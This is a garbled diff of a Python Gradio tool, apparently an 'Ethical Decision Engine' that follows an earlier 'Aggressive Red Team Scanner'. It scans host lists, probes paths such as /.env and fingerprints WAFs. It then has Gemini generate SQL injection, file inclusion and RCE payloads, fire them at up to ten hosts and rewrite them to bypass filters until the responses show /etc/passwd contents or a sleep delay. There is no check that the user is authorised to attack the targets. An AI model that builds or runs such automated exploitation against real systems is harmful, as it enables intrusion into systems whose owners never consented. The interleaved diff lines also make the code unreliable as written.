- scanner = AggressiveScanner(host, port, stealth)
671
- results = await scanner.run_full_spectrum_attack()
672
- target_id = f"{host}{':' + str(port) if port else ''}"
673
- all_results[target_id] = results
674
-
675
- for phase, outcomes in results.items():
676
- for outcome in outcomes:
677
- outcome['Target'] = target_id
678
- all_findings.append(outcome)
679
-
680
- if not all_findings:
681
- return "⚠️ **No findings were recorded.**", ""
682
 
683
- df = pd.DataFrame(all_findings)
 
 
684
 
685
- summary_md = f"## πŸ‘‘ Red Team Scan Report: {len(targets_to_scan)} Targets Scanned"
686
- summary_md += f"\n**Mode:** **{'STEALTH MODE' if stealth else 'FULL AGGRESSION MODE'}**\n\n"
 
 
 
 
 
 
 
 
 
 
 
 
 
687
 
688
- for target_id, group in df.groupby('Target'):
689
- summary_md += f"### 🎯 Target: {target_id}\n"
690
- summary_md += f"| Severity Level | Count |\n"
691
- summary_md += f"|---------------|-------|\n"
692
- summary_md += f"| 🟒 **Exploit Success** | {group['level'].value_counts().get('EXPLOIT_SUCCESS', 0)} |\n"
693
- summary_md += f"| 🟑 **Vulnerability Confirmed** | {group['level'].value_counts().get('VULNERABILITY_CONFIRMED', 0)} |\n"
694
- summary_md += f"| πŸ”΄ **High Risk** | {group['level'].value_counts().get('HIGH_RISK', 0)} |\n"
695
- summary_md += f"| πŸ”΅ **Medium Risk** | {group['level'].value_counts().get('MEDIUM_RISK', 0)} |\n"
696
- summary_md += f"| βšͺ **Info/Probed** | {group['level'].value_counts().get('INFO', 0)} |\n"
697
- summary_md += f"| ⚫ **Error** | {group['level'].value_counts().get('ERROR', 0)} |\n\n"
698
-
699
- severity_order = {'EXPLOIT_SUCCESS': 5, 'VULNERABILITY_CONFIRMED': 4, 'HIGH_RISK': 3, 'MEDIUM_RISK': 2, 'INFO': 1, 'ERROR': 0}
700
- group['severity_score'] = group['level'].map(severity_order)
701
- top_findings = group.sort_values(by='severity_score', ascending=False).head(3)
702
-
703
- summary_md += "#### πŸ” Top 3 Critical Findings\n"
704
-
705
- for index, row in top_findings.iterrows():
706
- summary_md += f"**[{row['level']}]** {row['message']}\n"
707
- if row.get('detail'):
708
- summary_md += f" * *Detail:* {row['detail']}\n"
709
- summary_md += "---\n\n"
710
 
711
- html_table = df.to_html(classes='table table-striped', index=False)
 
 
 
 
 
 
712
 
713
- return summary_md, html_table
 
714
 
715
 
716
- def gradio_wrapper(file_paths, manual_text: str, stealth: bool) -> tuple[str, str]:
717
- return asyncio.run(run_scan_and_get_report(file_paths, manual_text, stealth))
 
718
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
719
 
720
- # --- GRADIO UI DEFINITION ---
721
  if __name__ == "__main__":
722
- with gr.Blocks(title="Aggressive Red Team Scanner") as demo:
723
- gr.Markdown("# 😈 Tier 1 Red Team Exploitation Engine")
724
- gr.Markdown("Input your targets via **CSV File** or **Manual Text Input** (IP/IP:Port or IP,Port). The engine will run a full spectrum attack for every target.")
725
-
726
- with gr.Row():
727
- csv_file_input = gr.File(label="πŸ“ Import Target List (CSV)", file_count="multiple", file_types=[".csv"])
728
- manual_input = gr.Textbox(label="πŸ“ Manual Target List (IP,Port per line)", lines=8,
729
- placeholder="e.g., 107.148.158.208,80\n103.101.85.15\n192.168.1.5:443")
730
- stealth_switch = gr.Checkbox(label="Stealth Mode (Less Aggressive)", value=False)
731
-
732
- scan_button = gr.Button("βš”οΈ Launch Full Spectrum Attack", variant="primary")
733
-
734
- summary_output = gr.Markdown(label="Summary Report", value="Awaiting attack launch...")
735
- results_table = gr.HTML(label="Raw Findings Table", value="")
736
-
737
- scan_button.click(
738
- fn=gradio_wrapper,
739
- inputs=[csv_file_input, manual_input, stealth_switch],
740
- outputs=[summary_output, results_table]
741
- )
742
-
743
  demo.launch()
 
3
  import ssl
4
  import socket
5
  import re
6
+ import csv
 
 
7
  import time
8
  import pandas as pd
9
+ import gradio as gr
10
  import dns.resolver
11
+ from collections import defaultdict
12
+ from typing import Dict, List, Tuple, Any
13
+ from pydantic import BaseModel, Field
14
+
15
+ # --- GEMINI SDK INTEGRATION ---
16
+ try:
17
+ from google import genai
18
+ from google.genai import types
19
+ GEMINI_AVAILABLE = True
20
+ except ImportError:
21
+ GEMINI_AVAILABLE = False
22
+
23
+ # ==============================================================================
24
+ # SOTA DECISION ENGINE: TWO-STAGE HYPOTHESIS & VALIDATION
25
+ # ==============================================================================
26
+
27
+ MAX_CONCURRENT_RECON = 50
28
+ MAX_CONCURRENT_EXPLOIT = 10 # Hard limit for bulk exploitation
29
+ SCAN_TIMEOUT = 5.0
30
+ EXPLOIT_TIMEOUT = 8.0
31
 
 
 
 
32
  HTTP_HEADERS = {
33
+ "User-Agent": "Ethical-PenTest-Decision-Engine/4.0 (Authorized)",
34
+ "Accept": "*/*",
35
+ "X-Forwarded-For": "127.0.0.1",
 
 
 
36
  }
37
 
38
+ # --- STRUCTURED OUTPUT SCHEMAS (GEMINI) ---
39
+ class ExploitHypothesis(BaseModel):
40
+ confidence_score: float = Field(description="Confidence from 0.0 to 1.0 that the target is vulnerable.")
41
+ target_endpoint: str = Field(description="The path or parameter to attack (e.g., /api/v1/users?id=).")
42
+ payload: str = Field(description="The exact PoC payload string to inject (e.g., ' OR SLEEP(5)-- ).")
43
+ rationale: str = Field(description="Why this payload was chosen based on the fingerprint and discovered paths.")
44
+
45
+ class ExploitPatch(BaseModel):
46
+ failure_analysis: str = Field(description="Brief analysis of why the previous payload failed based on the HTTP response.")
47
+ revised_payload: str = Field(description="The newly patched payload to bypass the WAF or input restriction.")
48
+
49
+ # --- SIMULATED CVE CORRELATION GRAPH ---
50
+ CVE_GRAPH = {
51
+ "nginx": {
52
+ "1.18.0": [{"cve": "CVE-2021-23017", "type": "Request Smuggling", "base_cvss": 7.5, "maturity": 0.8}],
53
+ "behavior_match": [{"cve": "Misconfig-XXE", "type": "XXE Injection", "base_cvss": 8.0, "maturity": 0.9}]
54
+ },
55
+ "apache": {
56
+ "2.4.49": [{"cve": "CVE-2021-41773", "type": "Path Traversal / RCE", "base_cvss": 9.8, "maturity": 1.0}],
57
+ "behavior_match": [{"cve": "Misconfig-LFI", "type": "Local File Inclusion", "base_cvss": 7.0, "maturity": 0.9}]
58
+ },
59
+ "php": {
60
+ "generic": [{"cve": "Generic-SQLi", "type": "SQL Injection", "base_cvss": 8.5, "maturity": 0.95}],
61
+ }
62
+ }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
63
 
64
+ # --- ENGINE CLASSES ---
65
+ class HypothesisData:
66
+ def __init__(self, target_id: str, host: str, port: int, cve: str, attack_type: str, risk: float, context: dict):
67
+ self.target_id = target_id
68
+ self.host = host
69
+ self.port = port
70
+ self.cve = cve
71
+ self.attack_type = attack_type
72
+ self.risk = risk
73
+ self.context = context # Fingerprint & discovered paths
74
+
75
+ # UI Representation
76
+ self.ui_label = f"[{risk:.1f}] {target_id} -> {attack_type} ({cve})"
77
+
78
+ class ReconEngine:
79
+ def __init__(self, host: str, port: int):
80
+ self.host = host
81
+ self.port = port
82
+ self.protocol = "http"
83
+ self.fingerprint = {"server": "", "xpb": "", "waf": "None", "behaviors": []}
84
+ self.discovered_paths = []
85
+ self.hypotheses: List[HypothesisData] = []
86
+ self.client = httpx.AsyncClient(verify=False, timeout=SCAN_TIMEOUT, headers=HTTP_HEADERS, follow_redirects=False)
87
+
88
+ async def _detect_protocol(self):
89
+ try:
90
+ conf = ssl.create_default_context()
91
+ conf.check_hostname = False
92
+ conf.verify_mode = ssl.CERT_NONE
93
+ reader, writer = await asyncio.wait_for(asyncio.open_connection(self.host, self.port, ssl=conf), timeout=1.5)
94
+ writer.close()
95
+ await writer.wait_closed()
96
+ self.protocol = "https"
97
+ except:
98
+ self.protocol = "http"
99
+
100
+ def _url(self, path=""): return f"{self.protocol}://{self.host}:{self.port}{path}"
101
+
102
+ async def _safe_req(self, method="GET", path="", timeout=SCAN_TIMEOUT):
103
  try:
104
+ if method == "GET": return await self.client.get(self._url(path), timeout=timeout)
105
+ elif method == "OPTIONS": return await self.client.options(self._url(path), timeout=timeout)
106
+ except Exception: return None
 
 
 
 
 
 
 
 
 
 
 
 
107
 
108
+ async def run_recon(self) -> List[HypothesisData]:
109
+ await self._detect_protocol()
110
+ try:
111
+ await asyncio.gather(self.behavioral_fingerprint(), self.path_discovery())
112
+ self.generate_hypotheses()
113
  finally:
 
114
  await self.client.aclose()
115
+ return self.hypotheses
116
+
117
+ async def behavioral_fingerprint(self):
118
+ resp = await self._safe_req("GET", "/")
119
+ if resp:
120
+ srv = resp.headers.get("Server", "").lower()
121
+ self.fingerprint["server"] = srv
122
+ self.fingerprint["xpb"] = resp.headers.get("X-Powered-By", "Unknown").lower()
 
 
 
 
 
 
 
 
 
 
 
 
123
 
124
+ # WAF Detection Heuristics
125
+ if "cloudflare" in srv or "__cfduid" in str(resp.cookies): self.fingerprint["waf"] = "Cloudflare"
126
+ if "imperva" in srv or "incap_ses" in str(resp.cookies): self.fingerprint["waf"] = "Imperva"
127
+
128
+ resp_404 = await self._safe_req("GET", "/%c0%af_nonexistent")
129
+ if resp_404:
130
+ if "nginx" in resp_404.text.lower(): self.fingerprint["behaviors"].append("nginx_default_404")
131
+ if "apache" in resp_404.text.lower(): self.fingerprint["behaviors"].append("apache_default_404")
132
+
133
+ resp_opt = await self._safe_req("OPTIONS", "/")
134
+ if resp_opt and "Allow" in resp_opt.headers:
135
+ self.fingerprint["behaviors"].append(f"methods_allowed:{resp_opt.headers['Allow']}")
136
+
137
+ async def path_discovery(self):
138
+ paths = ["/admin", "/.env", "/api/v1/users", "/login.php", "/search"]
139
+ tasks = [self._safe_req("GET", p) for p in paths]
140
+ results = await asyncio.gather(*tasks)
141
+ for path, res in zip(paths, results):
142
+ if res and res.status_code in [200, 301, 302, 401, 403]:
143
+ self.discovered_paths.append(path)
144
+
145
+ def generate_hypotheses(self):
146
+ target_id = f"{self.host}:{self.port}"
147
+ techs = []
148
+ if "nginx" in self.fingerprint["server"] or "nginx_default_404" in self.fingerprint["behaviors"]: techs.append("nginx")
149
+ if "apache" in self.fingerprint["server"] or "apache_default_404" in self.fingerprint["behaviors"]: techs.append("apache")
150
+ if "php" in self.fingerprint["xpb"] or any(".php" in p for p in self.discovered_paths): techs.append("php")
151
+
152
+ context = {"fingerprint": self.fingerprint, "paths": self.discovered_paths}
153
+
154
+ for tech in techs:
155
+ if tech in CVE_GRAPH:
156
+ for node in CVE_GRAPH[tech].get("behavior_match", []):
157
+ risk = (node["base_cvss"] * 0.4) + (node["maturity"] * 4.0) + (1.0 * 2.0)
158
+ self.hypotheses.append(HypothesisData(target_id, self.host, self.port, node["cve"], node["type"], risk, context))
159
+
160
+ class ValidationAgent:
161
+ def __init__(self, api_key: str):
162
+ self.llm_client = genai.Client(api_key=api_key) if GEMINI_AVAILABLE and api_key else None
163
+ self.http_client = httpx.AsyncClient(verify=False, timeout=EXPLOIT_TIMEOUT)
164
+
165
+ async def validate_hypothesis(self, hyp: HypothesisData) -> dict:
166
+ if not self.llm_client:
167
+ return {"target": hyp.target_id, "type": hyp.attack_type, "status": "FAILED", "reason": "No Gemini API Key provided."}
168
+
169
+ system_context = f"""
170
+ Target: {hyp.target_id}
171
+ Detected WAF: {hyp.context['fingerprint']['waf']}
172
+ Discovered Paths: {hyp.context['paths']}
173
+ Objective: Generate a safe PoC payload to verify {hyp.attack_type} ({hyp.cve}).
174
+ If attacking SQLi/RCE/LFI, choose the most likely vulnerable path from the Discovered Paths list and append a suitable parameter (e.g. ?id=, ?file=).
175
+ """
176
 
 
 
177
  try:
178
+ # Turn 1: Initial Generation (Using Async API)
179
+ response = await self.llm_client.aio.models.generate_content(
180
+ model="gemini-2.5-flash",
181
+ contents=system_context + "\nProvide the initial attack payload.",
182
+ config={
183
+ "response_mime_type": "application/json",
184
+ "response_json_schema": ExploitHypothesis.model_json_schema(),
185
+ "temperature": 0.2
186
+ }
187
+ )
188
+ plan = ExploitHypothesis.model_validate_json(response.text)
189
 
190
+ # Execution Loop
191
+ current_payload = plan.payload
192
+ target_endpoint = plan.target_endpoint
193
+ protocol = "https" if hyp.port == 443 else "http" # Simplified for this agent
 
 
194
 
195
+ for attempt in range(1, 4):
196
+ start_time = time.time()
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
197
  try:
198
+ # Token-efficient parameter injection
199
+ url = f"{protocol}://{hyp.target_id}{target_endpoint}"
200
+ resp = await self.http_client.get(url, params={"q": current_payload}, timeout=EXPLOIT_TIMEOUT)
201
+ latency = time.time() - start_time
202
 
203
+ # Validation Criteria
204
+ success = False
205
+ if resp and ("root:x:0:0" in resp.text or "[extensions]" in resp.text): success = True
206
+ if latency > 4.5 and "SLEEP" in current_payload.upper(): success = True
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
207
 
208
+ if success:
209
+ return {"target": hyp.target_id, "type": hyp.attack_type, "status": "SUCCESS!", "payload": current_payload, "attempt": attempt}
210
+
211
+ # Patching Loop
212
+ if attempt < 3:
213
+ text_snippet = resp.text[:200].replace('\n', ' ') if resp else "Connection Dropped"
214
+ error_ctx = f"Payload '{current_payload}' failed. Status: {resp.status_code if resp else 'None'}. Snippet: {text_snippet}"
215
+
216
+ patch_resp = await self.llm_client.aio.models.generate_content(
217
+ model="gemini-2.5-flash",
218
+ contents=system_context + "\n" + error_ctx + "\nGenerate a patched payload to bypass filters/errors.",
219
+ config={
220
+ "response_mime_type": "application/json",
221
+ "response_json_schema": ExploitPatch.model_json_schema(),
222
+ "temperature": 0.4
223
+ }
224
+ )
225
+ patch = ExploitPatch.model_validate_json(patch_resp.text)
226
+ current_payload = patch.revised_payload
227
+
228
+ except Exception as req_err:
229
+ if attempt == 3: break
230
+ current_payload = f"' OR 1=1-- (Fallback due to {str(req_err)})"
231
+
232
+ return {"target": hyp.target_id, "type": hyp.attack_type, "status": "FAILED", "reason": "Exhausted 3 patch attempts."}
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
233
 
 
 
234
  except Exception as e:
235
+ return {"target": hyp.target_id, "type": hyp.attack_type, "status": "ERROR", "reason": str(e)}
236
+ finally:
237
+ await self.http_client.aclose()
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
238
 
239
 
240
+ # --- ORCHESTRATION PIPELINES ---
241
 
242
+ def parse_inputs(files, manual) -> List[Tuple[str, int]]:
 
 
 
 
243
  targets = []
244
+ if files:
245
+ if not isinstance(files, list): files = [files]
246
+ for f in files:
 
 
 
 
 
 
 
 
 
247
  try:
248
+ path = f.name if hasattr(f, 'name') else f
249
+ with open(path, 'r') as csvf:
250
+ for row in csv.reader(csvf):
251
+ if row: targets.append((row[0].strip(), int(row[1]) if len(row)>1 and row[1].isdigit() else 80))
252
+ except: pass
253
+ if manual:
254
+ for line in manual.strip().split('\n'):
255
+ line = line.replace(' ', '').replace(':', ',')
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
256
  if ',' in line:
257
+ h, p = line.split(',')
258
+ targets.append((h, int(p) if p.isdigit() else 80))
 
 
 
 
 
 
 
 
 
 
259
  else:
260
+ targets.append((line, 80))
261
+ return list(set(targets))
 
262
 
263
+ async def run_stage_1(files, manual) -> Tuple[Dict[str, Any], gr.CheckboxGroup, str]:
264
+ """Runs Recon & Hypothesis Generation."""
265
+ targets = parse_inputs(files, manual)
266
+ if not targets:
267
+ return {}, gr.update(choices=[], visible=False), "πŸ”΄ **Error:** No targets provided."
268
 
269
+ print(f"πŸš€ [STAGE 1] Scanning {len(targets)} targets...")
 
270
 
271
+ tasks = [ReconEngine(h, p).run_recon() for h, p in targets]
272
+ # Limit concurrency
273
+ semaphore = asyncio.Semaphore(MAX_CONCURRENT_RECON)
274
+ async def sem_task(task):
275
+ async with semaphore: return await task
276
 
277
+ results = await asyncio.gather(*(sem_task(t) for t in tasks))
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
278
 
279
+ # Flatten and Map Hypotheses
280
+ hyp_dict = {}
281
+ choices = []
282
 
283
+ for hyp_list in results:
284
+ for hyp in hyp_list:
285
+ hyp_dict[hyp.ui_label] = hyp
286
+ choices.append(hyp.ui_label)
287
+
288
+ # Sort choices by highest risk
289
+ choices = sorted(choices, key=lambda x: float(re.search(r'\[(.*?)\]', x).group(1)), reverse=True)
290
+
291
+ md = f"## πŸ” Stage 1 Complete\n**Discovered {len(choices)} Potential Vulnerabilities.**\nSelect up to 10 endpoints below to authorize the Gemini Exploit Agent."
292
+ return hyp_dict, gr.update(choices=choices, visible=True), md
293
+
294
+ async def run_stage_2(selected_labels, hyp_dict, api_key):
295
+ """Runs the Gemini Agent on Selected Targets."""
296
+ if not selected_labels:
297
+ return "πŸ”΄ Please select at least one target."
298
 
299
+ if len(selected_labels) > MAX_CONCURRENT_EXPLOIT:
300
+ selected_labels = selected_labels[:MAX_CONCURRENT_EXPLOIT]
301
+ warning = f"⚠️ **Warning:** Selected more than {MAX_CONCURRENT_EXPLOIT}. Truncating to top 10 for safety.\n\n"
302
+ else:
303
+ warning = ""
304
+
305
+ print(f"πŸš€ [STAGE 2] Exploiting {len(selected_labels)} targets...")
306
+ agent = ValidationAgent(api_key)
307
+
308
+ tasks = []
309
+ for label in selected_labels:
310
+ hyp = hyp_dict[label]
311
+ tasks.append(agent.validate_hypothesis(hyp))
312
+
313
+ results = await asyncio.gather(*tasks)
 
 
 
 
 
 
 
314
 
315
+ # Generate Output
316
+ df = pd.DataFrame(results)
317
+
318
+ md = f"## πŸ’€ Stage 2: Validation Report\n{warning}"
319
+ md += f"**Targets Exploited:** {len(results)}\n"
320
+ success_count = len(df[df['status'] == 'SUCCESS!'])
321
+ md += f"**Critical Breaches:** {success_count}\n\n"
322
 
323
+ html = df.to_html(classes=['table', 'table-dark', 'table-hover'], index=False)
324
+ return md + html
325
 
326
 
327
+ # Wrappers for Gradio Sync Execution
328
+ def stage_1_wrapper(files, manual):
329
+ return asyncio.run(run_stage_1(files, manual))
330
 
331
+ def stage_2_wrapper(selected, state_dict, api_key):
332
+ return asyncio.run(run_stage_2(selected, state_dict, api_key))
333
+
334
+ # ==============================================================================
335
+ # GRADIO UI DEFINITION
336
+ # ==============================================================================
337
+ with gr.Blocks(theme=gr.themes.Monochrome()) as demo:
338
+ # State variable to hold data between stages
339
+ engine_state = gr.State({})
340
+
341
+ gr.Markdown("# 🧠 SOTA Ethical Decision Engine")
342
+ gr.Markdown("### **Two-Stage Architecture:** Map the Attack Surface $\\rightarrow$ Authorize AI Exploitation")
343
+
344
+ with gr.Row():
345
+ # LEFT COLUMN - STAGE 1
346
+ with gr.Column(scale=1, variant="panel"):
347
+ gr.Markdown("### πŸ” STAGE 1: Recon & Hypothesis")
348
+ csv_in = gr.File(label="Upload CSV (Host, Port)", file_count="multiple")
349
+ txt_in = gr.Textbox(label="Manual Targets", lines=3, placeholder="192.168.1.1:80\nexample.com,443")
350
+ recon_btn = gr.Button("1️⃣ RUN RECONNAISSANCE", variant="secondary")
351
+
352
+ # RIGHT COLUMN - STAGE 2
353
+ with gr.Column(scale=1, variant="panel"):
354
+ gr.Markdown("### πŸ’€ STAGE 2: Authorize AI Agent")
355
+ api_key_in = gr.Textbox(label="Gemini API Key (Required for Stage 2)", type="password", placeholder="AIzaSy...")
356
+ target_selector = gr.CheckboxGroup(label="Select Targets for Validation (Max 10)", choices=[], visible=False)
357
+ exploit_btn = gr.Button("2️⃣ EXECUTE VALIDATION LOOP", variant="primary")
358
+
359
+ # BOTTOM - OUTPUT
360
+ with gr.Row():
361
+ with gr.Column():
362
+ out_display = gr.HTML("<br><center><h3>System Offline. Load targets to begin.</h3></center>")
363
+
364
+ # --- EVENT WIRING ---
365
+
366
+ # Run Stage 1
367
+ recon_btn.click(
368
+ fn=stage_1_wrapper,
369
+ inputs=[csv_in, txt_in],
370
+ outputs=[engine_state, target_selector, out_display]
371
+ )
372
+
373
+ # Run Stage 2
374
+ exploit_btn.click(
375
+ fn=stage_2_wrapper,
376
+ inputs=[target_selector, engine_state, api_key_in],
377
+ outputs=[out_display]
378
+ )
379
 
 
380
  if __name__ == "__main__":
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
381
  demo.launch()